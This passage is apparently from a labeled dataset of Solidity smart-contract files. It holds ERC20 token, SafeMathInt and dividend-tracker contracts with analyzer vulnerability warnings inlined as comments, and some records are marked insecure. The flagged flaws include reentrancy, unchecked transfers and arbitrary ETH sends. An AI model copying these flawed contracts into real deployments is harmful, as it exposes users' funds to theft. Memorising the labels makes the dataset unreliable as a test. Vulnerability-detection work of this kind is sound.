amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9a16463\n\t\t// reentrancy-events | ID: 01dfcf7\n\t\t// reentrancy-benign | ID: 2089ac1\n\t\t// reentrancy-eth | ID: 0e1f919\n\t\t// reentrancy-eth | ID: 0e66c49\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function excludeAddr(address addr, bool exempt) external onlyOwner {\n isExcludedFromFee[addr] = exempt;\n }\n\n function freeStuckEth() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ec0c3be): GSI6900.rescueAnyERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for ec0c3be: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueAnyERC20Tokens(\n address _tokenAddr,\n uint256 _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: ec0c3be\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b943704): GSI6900.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for b943704: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: b943704\n _taxWallet = payable(newTaxWallet);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 43011e6): GSI6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 43011e6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9a16463\n\t\t// reentrancy-events | ID: 01dfcf7\n\t\t// reentrancy-eth | ID: 0e1f919\n\t\t// reentrancy-eth | ID: 0e66c49\n\t\t// arbitrary-send-eth | ID: 43011e6\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4f839f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4f839f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3342920): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3342920: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8b97c1c): GSI6900.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8b97c1c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4931432): GSI6900.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4931432: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 34ded1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 34ded1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4f839f2\n\t\t// reentrancy-benign | ID: 3342920\n\t\t// reentrancy-eth | ID: 34ded1d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3342920\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 3342920\n isExcludedFromFee[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 4f839f2\n\t\t// unused-return | ID: 8b97c1c\n\t\t// reentrancy-eth | ID: 34ded1d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4f839f2\n\t\t// unused-return | ID: 4931432\n\t\t// reentrancy-eth | ID: 34ded1d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 4f839f2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 34ded1d\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 4f839f2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_892.sol", "secure": 0, "size_bytes": 20395 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMathInt {\n int256 private constant MIN_INT256 = int256(1) << 255;\n\n int256 private constant MAX_INT256 = ~(int256(1) << 255);\n\n function mul(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a * b;\n\n require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));\n\n require((b == 0) || (c / b == a));\n\n return c;\n }\n\n function div(int256 a, int256 b) internal pure returns (int256) {\n require(b != -1 || a != MIN_INT256);\n\n return a / b;\n }\n\n function sub(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a - b;\n\n require((b >= 0 && c <= a) || (b < 0 && c > a));\n\n return c;\n }\n\n function add(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a + b;\n\n require((b >= 0 && c >= a) || (b < 0 && c < a));\n\n return c;\n }\n\n function abs(int256 a) internal pure returns (int256) {\n require(a != MIN_INT256);\n\n return a < 0 ? -a : a;\n }\n\n function toUint256Safe(int256 a) internal pure returns (uint256) {\n require(a >= 0);\n\n return uint256(a);\n }\n}", "file_name": "solidity_code_893.sol", "secure": 1, "size_bytes": 1265 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface IWETH is IERC20 {\n function deposit() external payable;\n\n function withdraw(uint256) external;\n}", "file_name": "solidity_code_894.sol", "secure": 1, "size_bytes": 247 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface DividendPayingTokenOptionalInterface {\n function withdrawableDividendOf(\n address _owner,\n address _rewardToken\n ) external view returns (uint256);\n\n function withdrawnDividendOf(\n address _owner,\n address _rewardToken\n ) external view returns (uint256);\n\n function accumulativeDividendOf(\n address _owner,\n address _rewardToken\n ) external view returns (uint256);\n}", "file_name": "solidity_code_895.sol", "secure": 1, "size_bytes": 513 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PeepaCoin is ERC20 {\n constructor() ERC20(\"PeepaCoin\", \"PeepaCoin\") {\n _mint(msg.sender, 42000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_896.sol", "secure": 1, "size_bytes": 279 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface DividendPayingTokenInterface {\n function dividendOf(\n address _owner,\n address _rewardToken\n ) external view returns (uint256);\n\n function distributeDividends() external payable;\n\n function withdrawDividend(address _rewardToken) external;\n\n event DividendsDistributed(\n address indexed from,\n uint256 weiAmount,\n address rewardToken\n );\n\n event DividendWithdrawn(address indexed to, uint256 weiAmount);\n}", "file_name": "solidity_code_897.sol", "secure": 1, "size_bytes": 549 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./DividendPayingTokenInterface.sol\" as DividendPayingTokenInterface;\nimport \"./DividendPayingTokenOptionalInterface.sol\" as DividendPayingTokenOptionalInterface;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./SafeMathInt.sol\" as SafeMathInt;\nimport \"./SafeMathUint.sol\" as SafeMathUint;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./IWETH.sol\" as IWETH;\n\ncontract DividendPayingToken is\n DividendPayingTokenInterface,\n DividendPayingTokenOptionalInterface,\n Ownable\n{\n using SafeMath for uint256;\n\n using SafeMathUint for uint256;\n\n using SafeMathInt for int256;\n\n uint256 internal constant magnitude = 2 ** 128;\n\n mapping(address => uint256) internal magnifiedDividendPerShare;\n\n address[] public rewardTokens;\n\n address public nextRewardToken;\n\n uint256 public rewardTokenCounter;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08579d4): DividendPayingToken.WETHAddress should be constant \n\t// Recommendation for 08579d4: Add the 'constant' attribute to state variables that never change.\n address public WETHAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address public tokenAddress;\n\n IWETH private wethObj = IWETH(WETHAddress);\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n mapping(address => mapping(address => int256))\n internal magnifiedDividendCorrections;\n\n mapping(address => mapping(address => uint256)) internal withdrawnDividends;\n\n mapping(address => uint256) public holderBalance;\n\n uint256 public totalBalance;\n\n mapping(address => uint256) public totalDividendsDistributed;\n\n event BuyBack(\n address indexed sender,\n uint256 amountSent,\n uint256 amountReceived\n );\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n rewardTokens.push(WETHAddress);\n\n nextRewardToken = rewardTokens[0];\n }\n\n receive() external payable {\n distributeDividends();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25ff5ea): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25ff5ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8ba93b8): Reentrancy in DividendPayingToken.distributeDividends() External calls wethObj.deposit{value amount}() Event emitted after the call(s) DividendsDistributed(msg.sender,amount,nextRewardToken)\n\t// Recommendation for 8ba93b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 774d6f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 774d6f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c0dd60): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c0dd60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4c17f79): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4c17f79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 548b456): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 548b456: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function distributeDividends() public payable override {\n require(totalBalance > 0);\n\n if (nextRewardToken == WETHAddress) {\n uint256 amount = msg.value;\n\n\t\t\t// reentrancy-events | ID: 8ba93b8\n\t\t\t// reentrancy-benign | ID: 774d6f0\n\t\t\t// reentrancy-benign | ID: 4c17f79\n\t\t\t// reentrancy-eth | ID: 548b456\n wethObj.deposit{value: amount}();\n\n if (amount > 0) {\n\t\t\t\t// reentrancy-benign | ID: 774d6f0\n magnifiedDividendPerShare[\n nextRewardToken\n ] = magnifiedDividendPerShare[nextRewardToken].add(\n (amount).mul(magnitude) / totalBalance\n );\n }\n\n\t\t\t// reentrancy-events | ID: 8ba93b8\n emit DividendsDistributed(msg.sender, amount, nextRewardToken);\n\n\t\t\t// reentrancy-benign | ID: 774d6f0\n totalDividendsDistributed[\n nextRewardToken\n ] = totalDividendsDistributed[nextRewardToken].add(amount);\n } else if (nextRewardToken == tokenAddress) {\n uint256 initialBalance = IERC20(nextRewardToken).balanceOf(\n address(this)\n );\n\n\t\t\t// reentrancy-events | ID: 25ff5ea\n\t\t\t// reentrancy-benign | ID: 0c0dd60\n\t\t\t// reentrancy-benign | ID: 4c17f79\n\t\t\t// reentrancy-eth | ID: 548b456\n buyTokens(msg.value, nextRewardToken);\n\n uint256 newBalance = IERC20(nextRewardToken)\n .balanceOf(address(this))\n .sub(initialBalance);\n\n\t\t\t// reentrancy-events | ID: 25ff5ea\n emit BuyBack(msg.sender, msg.value, newBalance);\n\n if (newBalance > 0) {\n\t\t\t\t// reentrancy-benign | ID: 0c0dd60\n magnifiedDividendPerShare[\n nextRewardToken\n ] = magnifiedDividendPerShare[nextRewardToken].add(\n (newBalance).mul(magnitude) / totalBalance\n );\n\n\t\t\t\t// reentrancy-benign | ID: 0c0dd60\n totalDividendsDistributed[\n nextRewardToken\n ] = totalDividendsDistributed[nextRewardToken].add(newBalance);\n }\n }\n\n\t\t// reentrancy-benign | ID: 4c17f79\n rewardTokenCounter = rewardTokenCounter == rewardTokens.length - 1\n ? 0\n : rewardTokenCounter + 1;\n\n\t\t// reentrancy-eth | ID: 548b456\n nextRewardToken = rewardTokens[rewardTokenCounter];\n }\n\n function buyTokens(uint256 amountInWei, address rewardToken) internal {\n address[] memory path = new address[](2);\n\n path[0] = uniswapV2Router.WETH();\n\n path[1] = rewardToken;\n\n\t\t// reentrancy-events | ID: 25ff5ea\n\t\t// reentrancy-benign | ID: 0c0dd60\n\t\t// reentrancy-benign | ID: 4c17f79\n\t\t// reentrancy-eth | ID: 548b456\n uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amountInWei\n }(0, path, address(this), block.timestamp + 3600);\n }\n\n function withdrawDividend(address _rewardToken) external virtual override {\n _withdrawDividendOfUser(payable(msg.sender), _rewardToken);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: c876d5d): DividendPayingToken._withdrawDividendOfUser(address,address) has external calls inside a loop IERC20(_rewardToken).transfer(user,_withdrawableDividend)\n\t// Recommendation for c876d5d: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3841e9e): DividendPayingToken._withdrawDividendOfUser(address,address) ignores return value by IERC20(_rewardToken).transfer(user,_withdrawableDividend)\n\t// Recommendation for 3841e9e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function _withdrawDividendOfUser(\n address payable user,\n address _rewardToken\n ) internal returns (uint256) {\n uint256 _withdrawableDividend = withdrawableDividendOf(\n user,\n _rewardToken\n );\n\n if (_withdrawableDividend > 0) {\n withdrawnDividends[user][_rewardToken] = withdrawnDividends[user][\n _rewardToken\n ].add(_withdrawableDividend);\n\n emit DividendWithdrawn(user, _withdrawableDividend);\n\n\t\t\t// reentrancy-events | ID: cbcdc0f\n\t\t\t// reentrancy-benign | ID: be420fe\n\t\t\t// calls-loop | ID: c876d5d\n\t\t\t// reentrancy-no-eth | ID: de97129\n\t\t\t// unchecked-transfer | ID: 3841e9e\n IERC20(_rewardToken).transfer(user, _withdrawableDividend);\n\n return _withdrawableDividend;\n }\n\n return 0;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d845d9d): DividendPayingToken.dividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for d845d9d: Rename the local variables that shadow another component.\n function dividendOf(\n address _owner,\n address _rewardToken\n ) external view override returns (uint256) {\n return withdrawableDividendOf(_owner, _rewardToken);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 835fd36): DividendPayingToken.withdrawableDividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 835fd36: Rename the local variables that shadow another component.\n function withdrawableDividendOf(\n address _owner,\n address _rewardToken\n ) public view override returns (uint256) {\n return\n accumulativeDividendOf(_owner, _rewardToken).sub(\n withdrawnDividends[_owner][_rewardToken]\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e2714a6): DividendPayingToken.withdrawnDividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for e2714a6: Rename the local variables that shadow another component.\n function withdrawnDividendOf(\n address _owner,\n address _rewardToken\n ) external view override returns (uint256) {\n return withdrawnDividends[_owner][_rewardToken];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b4410b): DividendPayingToken.accumulativeDividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 1b4410b: Rename the local variables that shadow another component.\n function accumulativeDividendOf(\n address _owner,\n address _rewardToken\n ) public view override returns (uint256) {\n return\n magnifiedDividendPerShare[_rewardToken]\n .mul(holderBalance[_owner])\n .toInt256Safe()\n .add(magnifiedDividendCorrections[_rewardToken][_owner])\n .toUint256Safe() / magnitude;\n }\n\n function _increase(address account, uint256 value) internal {\n\t\t// cache-array-length | ID: 4bf234f\n for (uint256 i; i < rewardTokens.length; i++) {\n magnifiedDividendCorrections[rewardTokens[i]][\n account\n ] = magnifiedDividendCorrections[rewardTokens[i]][account].sub(\n (magnifiedDividendPerShare[rewardTokens[i]].mul(value))\n .toInt256Safe()\n );\n }\n }\n\n function _reduce(address account, uint256 value) internal {\n\t\t// cache-array-length | ID: d7b3c29\n for (uint256 i; i < rewardTokens.length; i++) {\n magnifiedDividendCorrections[rewardTokens[i]][\n account\n ] = magnifiedDividendCorrections[rewardTokens[i]][account].add(\n (magnifiedDividendPerShare[rewardTokens[i]].mul(value))\n .toInt256Safe()\n );\n }\n }\n\n function _setBalance(address account, uint256 newBalance) internal {\n uint256 currentBalance = holderBalance[account];\n\n holderBalance[account] = newBalance;\n\n if (newBalance > currentBalance) {\n uint256 increaseAmount = newBalance.sub(currentBalance);\n\n _increase(account, increaseAmount);\n\n totalBalance += increaseAmount;\n } else if (newBalance < currentBalance) {\n uint256 reduceAmount = currentBalance.sub(newBalance);\n\n _reduce(account, reduceAmount);\n\n totalBalance -= reduceAmount;\n }\n }\n}", "file_name": "solidity_code_898.sol", "secure": 0, "size_bytes": 13305 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./DividendPayingToken.sol\" as DividendPayingToken;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./SafeMathInt.sol\" as SafeMathInt;\n\ncontract DividendTracker is DividendPayingToken, ReentrancyGuard {\n using SafeMath for uint256;\n\n using SafeMathInt for int256;\n\n struct Map {\n address[] keys;\n mapping(address => uint256) values;\n mapping(address => uint256) indexOf;\n mapping(address => bool) inserted;\n }\n\n function get(address key) private view returns (uint256) {\n return tokenHoldersMap.values[key];\n }\n\n function getIndexOfKey(address key) private view returns (int256) {\n if (!tokenHoldersMap.inserted[key]) {\n return -1;\n }\n\n return int256(tokenHoldersMap.indexOf[key]);\n }\n\n function getKeyAtIndex(uint256 index) private view returns (address) {\n return tokenHoldersMap.keys[index];\n }\n\n function size() private view returns (uint256) {\n return tokenHoldersMap.keys.length;\n }\n\n function set(address key, uint256 val) private {\n if (tokenHoldersMap.inserted[key]) {\n tokenHoldersMap.values[key] = val;\n } else {\n tokenHoldersMap.inserted[key] = true;\n\n tokenHoldersMap.values[key] = val;\n\n tokenHoldersMap.indexOf[key] = tokenHoldersMap.keys.length;\n\n tokenHoldersMap.keys.push(key);\n }\n }\n\n function remove(address key) private {\n if (!tokenHoldersMap.inserted[key]) {\n return;\n }\n\n delete tokenHoldersMap.inserted[key];\n\n delete tokenHoldersMap.values[key];\n\n uint256 index = tokenHoldersMap.indexOf[key];\n\n uint256 lastIndex = tokenHoldersMap.keys.length - 1;\n\n address lastKey = tokenHoldersMap.keys[lastIndex];\n\n tokenHoldersMap.indexOf[lastKey] = index;\n\n delete tokenHoldersMap.indexOf[key];\n\n tokenHoldersMap.keys[index] = lastKey;\n\n tokenHoldersMap.keys.pop();\n }\n\n Map private tokenHoldersMap;\n\n uint256 public lastProcessedIndex;\n\n mapping(address => bool) public excludedFromDividends;\n\n mapping(address => uint256) public lastClaimTimes;\n\n uint256 public claimWait;\n\n uint256 public immutable minimumTokenBalanceForDividends;\n\n event ExcludeFromDividends(address indexed account);\n\n event IncludeInDividends(address indexed account);\n\n event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);\n\n event Claim(\n address indexed account,\n uint256 amount,\n bool indexed automatic\n );\n\n constructor() {\n claimWait = 900;\n\n minimumTokenBalanceForDividends = 1000 * (10 ** 18);\n }\n\n function excludeFromDividends(address account) external onlyOwner {\n excludedFromDividends[account] = true;\n\n _setBalance(account, 0);\n\n remove(account);\n\n emit ExcludeFromDividends(account);\n }\n\n function includeInDividends(address account) external onlyOwner {\n require(excludedFromDividends[account]);\n\n excludedFromDividends[account] = false;\n\n emit IncludeInDividends(account);\n }\n\n function updateClaimWait(uint256 newClaimWait) external onlyOwner {\n require(\n newClaimWait >= 900 && newClaimWait <= 86400,\n \"Dividend_Tracker: claimWait must be updated to between 1 and 24 hours\"\n );\n\n require(\n newClaimWait != claimWait,\n \"Dividend_Tracker: Cannot update claimWait to same value\"\n );\n\n emit ClaimWaitUpdated(newClaimWait, claimWait);\n\n claimWait = newClaimWait;\n }\n\n function getLastProcessedIndex() external view returns (uint256) {\n return lastProcessedIndex;\n }\n\n function getNumberOfTokenHolders() external view returns (uint256) {\n return tokenHoldersMap.keys.length;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7f44b87): DividendTracker.getAccount(address,address) uses timestamp for comparisons Dangerous comparisons nextClaimTime > block.timestamp\n\t// Recommendation for 7f44b87: Avoid relying on 'block.timestamp'.\n function getAccount(\n address _account,\n address _rewardToken\n )\n public\n view\n returns (\n address account,\n int256 index,\n int256 iterationsUntilProcessed,\n uint256 withdrawableDividends,\n uint256 totalDividends,\n uint256 lastClaimTime,\n uint256 nextClaimTime,\n uint256 secondsUntilAutoClaimAvailable\n )\n {\n account = _account;\n\n index = getIndexOfKey(account);\n\n iterationsUntilProcessed = -1;\n\n if (index >= 0) {\n if (uint256(index) > lastProcessedIndex) {\n iterationsUntilProcessed = index.sub(\n int256(lastProcessedIndex)\n );\n } else {\n uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length >\n lastProcessedIndex\n ? tokenHoldersMap.keys.length.sub(lastProcessedIndex)\n : 0;\n\n iterationsUntilProcessed = index.add(\n int256(processesUntilEndOfArray)\n );\n }\n }\n\n withdrawableDividends = withdrawableDividendOf(account, _rewardToken);\n\n totalDividends = accumulativeDividendOf(account, _rewardToken);\n\n lastClaimTime = lastClaimTimes[account];\n\n nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0;\n\n\t\t// timestamp | ID: 7f44b87\n secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp\n ? nextClaimTime.sub(block.timestamp)\n : 0;\n }\n\n function getAccountAtIndex(\n uint256 index,\n address _rewardToken\n )\n external\n view\n returns (\n address,\n int256,\n int256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n if (index >= size()) {\n return (\n 0x0000000000000000000000000000000000000000,\n -1,\n -1,\n 0,\n 0,\n 0,\n 0,\n 0\n );\n }\n\n address account = getKeyAtIndex(index);\n\n return getAccount(account, _rewardToken);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6654480): DividendTracker.canAutoClaim(uint256) uses timestamp for comparisons Dangerous comparisons lastClaimTime > block.timestamp block.timestamp.sub(lastClaimTime) >= claimWait\n\t// Recommendation for 6654480: Avoid relying on 'block.timestamp'.\n function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {\n\t\t// timestamp | ID: 6654480\n if (lastClaimTime > block.timestamp) {\n return false;\n }\n\n\t\t// timestamp | ID: 6654480\n return block.timestamp.sub(lastClaimTime) >= claimWait;\n }\n\n function setBalance(\n address payable account,\n uint256 newBalance\n ) external onlyOwner {\n if (excludedFromDividends[account]) {\n return;\n }\n\n if (newBalance >= minimumTokenBalanceForDividends) {\n _setBalance(account, newBalance);\n\n set(account, newBalance);\n } else {\n _setBalance(account, 0);\n\n remove(account);\n }\n\n processAccount(account, true);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: de97129): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for de97129: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function process(uint256 gas) external returns (uint256, uint256, uint256) {\n uint256 numberOfTokenHolders = tokenHoldersMap.keys.length;\n\n if (numberOfTokenHolders == 0) {\n return (0, 0, lastProcessedIndex);\n }\n\n uint256 _lastProcessedIndex = lastProcessedIndex;\n\n uint256 gasUsed = 0;\n\n uint256 gasLeft = gasleft();\n\n uint256 iterations = 0;\n\n uint256 claims = 0;\n\n while (gasUsed < gas && iterations < numberOfTokenHolders) {\n _lastProcessedIndex++;\n\n if (_lastProcessedIndex >= tokenHoldersMap.keys.length) {\n _lastProcessedIndex = 0;\n }\n\n address account = tokenHoldersMap.keys[_lastProcessedIndex];\n\n if (canAutoClaim(lastClaimTimes[account])) {\n\t\t\t\t// reentrancy-no-eth | ID: de97129\n if (processAccount(payable(account), true)) {\n claims++;\n }\n }\n\n iterations++;\n\n uint256 newGasLeft = gasleft();\n\n if (gasLeft > newGasLeft) {\n gasUsed = gasUsed.add(gasLeft.sub(newGasLeft));\n }\n\n gasLeft = newGasLeft;\n }\n\n\t\t// reentrancy-no-eth | ID: de97129\n lastProcessedIndex = _lastProcessedIndex;\n\n return (iterations, claims, lastProcessedIndex);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cbcdc0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cbcdc0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: be420fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for be420fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 954bf2c): DividendTracker.processAccount(address,bool).paid is a local variable never initialized\n\t// Recommendation for 954bf2c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function processAccount(\n address payable account,\n bool automatic\n ) public onlyOwner returns (bool) {\n uint256 amount;\n\n bool paid;\n\n for (uint256 i; i < rewardTokens.length; i++) {\n\t\t\t// reentrancy-events | ID: cbcdc0f\n\t\t\t// reentrancy-benign | ID: be420fe\n amount = _withdrawDividendOfUser(account, rewardTokens[i]);\n\n if (amount > 0) {\n\t\t\t\t// reentrancy-benign | ID: be420fe\n lastClaimTimes[account] = block.timestamp;\n\n\t\t\t\t// reentrancy-events | ID: cbcdc0f\n emit Claim(account, amount, automatic);\n\n paid = true;\n }\n }\n\n return paid;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cad26e9): DividendTracker.addRewardToken(address).addr lacks a zerocheck on \t tokenAddress = addr\n\t// Recommendation for cad26e9: Check that the address is not zero.\n function addRewardToken(address addr) public onlyOwner {\n rewardTokens.push(addr);\n\n\t\t// missing-zero-check | ID: 